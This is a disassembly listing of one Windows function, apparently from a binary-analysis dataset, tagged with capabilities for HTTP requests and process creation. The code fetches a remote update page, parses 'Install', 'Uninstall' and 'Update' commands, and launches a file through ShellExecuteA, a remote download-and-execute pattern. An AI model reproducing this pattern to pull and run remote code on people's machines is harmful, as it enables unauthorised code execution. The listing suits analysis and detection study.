Function at 0x404310
Capabilities:
Create http request
Create process on windows
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1984
call fcn.00409ad0
mov eax, dword [0x40f018]
xor eax, esp
mov dword [esp + 0x1980], eax
push ebx
push esi
push edi
call fcn.004030e0
call fcn.00402aa0
lea eax, [esp + 0x28]
push eax
call fcn.00406200
mov ecx, dword [esp + 0x28]
mov eax, dword [ecx + 4]
mov edx, dword [esp + eax + 0x34]
lea eax, [esp + eax + 0x28]
and dl, 6
movsx ecx, dl
neg ecx
sbb ecx, ecx
not ecx
test eax, ecx
je 0x40439c
lea edx, [esp + 0x28]
push edx
call fcn.00406300
cmp dword [0x40f498], 0x10
mov eax, dword [0x40f484]
jae 0x404381
mov eax, 0x40f484
push 0xa
xor ebx, ebx
push ebx
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40439e
xor ebx, ebx
push 0x13ff
lea eax, [esp + 0x58d]
push ebx
push eax
mov byte [esp + 0x594], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push ebx
push ebx
push 4
push 0x40b420
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
cmp esi, ebx
jne 0x40440c
mov ecx, dword [esp + 0x28]
mov edx, dword [ecx + 4]
lea ecx, [esp + 0x38]
mov dword [esp + edx + 0x28], vtable.std::basic_ifstream_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.00406380
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 4]
mov edx, dword [sym.imp.MSVCP100.dll_const_std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__::vftable]
mov dword [esp + ecx + 0x28], edx
lea ecx, [esp + 0x90]
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
jmp 0x404a73
push ebx
push 0x84000100
push ebx
push ebx
push str.http:__u.360s.so_update_index.html
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, eax
cmp edi, ebx
jne 0x404468
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x28], vtable.std::basic_ifstream_wchar_t__struct_std::char_traits_wchar_t__.0
lea ecx, [esp + 0x38]
call fcn.00406380
mov edx, dword [esp + 0x28]
mov ecx, dword [sym.imp.MSVCP100.dll_const_std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__::vftable]
mov eax, dword [edx + 4]
mov dword [esp + eax + 0x28], ecx
lea ecx, [esp + 0x90]
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
jmp 0x404a73
lea edx, [esp + 0x24]
push edx
push 0x1400
lea eax, [esp + 0x590]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x404496
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
jmp 0x404a6a
lea eax, [esp + 0x588]
mov dword [esp + 0x1b4], 0xf
mov dword [esp + 0x1b0], ebx
mov byte [esp + 0x1a0], bl
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4044c0
sub eax, ecx
mov edi, eax
lea eax, [esp + 0x588]
lea esi, [esp + 0x1a0]
call fcn.00407e20
lea ecx, [esp + 0xd8]
push ecx
call fcn.00405b40
mov edx, esi
push edx
lea eax, [esp + 0xec]
push eax
call fcn.004089a0
push 0x1ff
lea ecx, [esp + 0x395]
push ebx
push ecx
mov byte [esp + 0x39c], bl
call sub.MSVCR100.dll_memset
add esp, 0x14
push ebx
push 0x200
lea edx, [esp + 0x390]
push edx
lea ecx, [esp + 0xe4]
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x1b], 1
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::getline_char___long_long___int64__]
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov edx, dword [ecx + eax + 0xc]
add ecx, eax
and dl, 6
movsx eax, dl
neg eax
sbb eax, eax
not eax
test ecx, eax
je 0x4049ef
jmp 0x404560
lea eax, [esp + 0x388]
mov dword [esp + 0x198], 0xf
mov dword [esp + 0x194], ebx
mov byte [esp + 0x184], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404583
sub eax, edx
mov edi, eax
lea eax, [esp + 0x388]
lea esi, [esp + 0x184]
call fcn.00407e20
mov edi, dword [esp + 0x198]
mov eax, dword [esp + 0x184]
cmp edi, 0x10
jae 0x4045b6
mov eax, esi
mov esi, dword [esp + 0x194]
cmp byte [eax + esi - 1], 0xd
jne 0x4045e6
lea ecx, [esi - 1]
mov eax, 1
lea esi, [esp + 0x184]
call fcn.00404b40
mov edi, dword [esp + 0x198]
mov esi, dword [esp + 0x194]
mov eax, dword [esp + 0x10]
inc eax
mov dword [esp + 0x10], eax
cmp eax, 1
jne 0x40465d
mov eax, esi
cmp esi, 7
jb 0x404600
mov eax, 7
mov edx, dword [esp + 0x184]
cmp edi, 0x10
jae 0x404613
lea edx, [esp + 0x184]
mov ecx, str.Install
call fcn.00401c00
cmp eax, ebx
jne 0x404943
cmp esi, 7
jb 0x404943
xor eax, eax
cmp esi, 7
setne al
cmp eax, ebx
jne 0x404943
cmp edi, 0x10
jb 0x404906
mov ecx, dword [esp + 0x184]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
jmp 0x404906
cmp eax, 2
jne 0x404773
lea edx, [esp + 0x184]
push edx
or eax, 0xffffffff
xor ebx, ebx
mov ecx, 0x40f4bc
call fcn.00407140
lea eax, [esp + 0x1d8]
push eax
call fcn.00404cc0
mov ecx, dword [esp + 0x1d8]
mov eax, dword [ecx + 4]
mov edx, dword [esp + eax + 0x1e4]
lea eax, [esp + eax + 0x1d8]
and dl, 6
movsx ecx, dl
neg ecx
sbb ecx, ecx
not ecx
test eax, ecx
je 0x40472a
push 0xfe
lea edx, [esp + 0x28d]
push ebx
push edx
mov byte [esp + 0x294], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0xff
lea eax, [esp + 0x290]
push eax
lea ecx, [esp + 0x1e4]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::getline_char___long_long___int64__]
lea eax, [esp + 0x288]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4046f4
sub eax, edx
mov edi, eax
lea eax, [esp + 0x288]
mov esi, 0x40f4d8
call fcn.00407e20
lea ecx, [esp + 0x1d8]
push ecx
call fcn.00404e90
call fcn.00408c70
test al, al
jne 0x4049cf
mov edx, dword [esp + 0x1d8]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x1e8]
mov dword [esp + eax + method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
call fcn.00404f10
mov ecx, dword [esp + 0x1d8]
mov edx, dword [ecx + 4]
mov eax, dword [sym.imp.MSVCP100.dll_const_std::basic_istream_char__struct_std::char_traits_char__::vftable]
lea ecx, [esp + 0x240]
mov dword [esp + edx + 0x1d8], eax
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
jmp 0x4048e9
mov edi, 2
mov eax, 0x40b40c
lea esi, [esp + 0x1bc]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x1d0], 0xf
mov dword [esp + 0x1cc], ebx
mov byte [esp + 0x1bc], bl
call fcn.00407e20
lea ecx, [esp + 0x184]
push ecx
lea ecx, [esp + 0x18]
mov edx, esi
call fcn.00401cc0
add esp, 4
cmp dword [esp + 0x1d0], 0x10
jb 0x4047df
mov edx, dword [esp + 0x1bc]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 6
jae 0x404825
lea ebx, [esp + 0x14]
call fcn.004075b0
cmp dword [esp + 0x198], 0x10
jb 0x404904
mov ecx, dword [esp + 0x184]
push ecx
jmp 0x4048fb
lea edx, [esp + 0x1d8]
push edx
call fcn.00402a00
push esi
or eax, 0xffffffff
xor ebx, ebx
lea ecx, [esp + 0x1dc]
call fcn.00407140
lea eax, [esi + 0x1c]
push eax
or eax, 0xffffffff
lea ecx, [esp + 0x1f8]
call fcn.00407140
lea ecx, [esi + 0x38]
push ecx
or eax, 0xffffffff
lea ecx, [esp + 0x214]
call fcn.00407140
cmp dword [esi + 0x68], 0x10
lea eax, [esi + 0x54]
jb 0x404875
mov eax, dword [eax]
push eax
call dword [sym.imp.MSVCR100.dll_atoi]
add esp, 4
lea edi, [esi + 0x70]
mov ecx, 0x40b41c
mov dword [esp + 0x22c], eax
call fcn.00408c10
test al, al
je 0x40489f
mov byte [esp + 0x230], 1
lea edi, [esi + 0x8c]
mov ecx, 0x40b348
call fcn.00408c10
test al, al
je 0x4048ba
mov byte [esp + 0x231], bl
push 0
lea esi, [esp + 0x1dc]
call fcn.00402ef0
add esp, 4
test al, al
jne 0x4048d3
mov byte [esp + 0xf], bl
lea edx, [esp + 0x1d8]
push edx
call fcn.00404260
lea ebx, [esp + 0x14]
call fcn.004075b0
cmp dword [esp + 0x198], 0x10
jb 0x404904
mov eax, dword [esp + 0x184]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor ebx, ebx
push ebx
push 0x200
lea ecx, [esp + 0x390]
push ecx
lea ecx, [esp + 0xe4]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::getline_char___long_long___int64__]
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
and al, 6
movsx edx, al
neg edx
sbb edx, edx
not edx
test ecx, edx
jne 0x404560
jmp 0x4049e9
mov ecx, str.Uninstall
lea edi, [esp + 0x184]
call fcn.00408c10
test al, al
je 0x40499e
sub esp, 0x1c
lea eax, [esp + 0x1bc]
mov esi, esp
mov dword [esp + 0x2c], esp
call fcn.00404b10
call fcn.004032c0
add esp, 0x1c
lea esi, [esp + 0x184]
call fcn.00409000
lea ecx, [esp + 0xd8]
call fcn.004038a0
lea esi, [esp + 0x1a0]
call fcn.00409000
jmp 0x404a6a
mov ecx, str.Update
lea edi, [esp + 0x184]
call fcn.00408c10
test al, al
je 0x404975
sub esp, 0x1c
lea eax, [esp + 0x1bc]
mov esi, esp
mov dword [esp + 0x2c], esp
call fcn.00404b10
call fcn.00403910
jmp 0x404972
lea ecx, [esp + 0x1d8]
call fcn.00402980
lea esi, [esp + 0x184]
call fcn.00409000
xor ebx, ebx
cmp byte [esp + 0xf], bl
je 0x404a2a
lea eax, [esp + 0x1d8]
push eax
call fcn.004058d0
lea ecx, [esp + 0x1d8]
push 0x40f4bc
push ecx
call fcn.004089a0
add esp, 8
lea edx, [esp + 0x1d8]
push edx
call fcn.00405ac0
lea ecx, [esp + 0x1d8]
call fcn.00402e70
lea ecx, [esp + 0xd8]
call fcn.004038a0
cmp dword [esp + 0x1b4], 0x10
jb 0x404a51
mov eax, dword [esp + 0x1a0]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0x1b4], 0xf
mov dword [esp + 0x1b0], ebx
mov byte [esp + 0x1a0], bl
lea ecx, [esp + 0x28]
call fcn.00404a90
mov ecx, dword [esp + 0x198c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00409024
mov esp, ebp
pop ebp
ret 0x10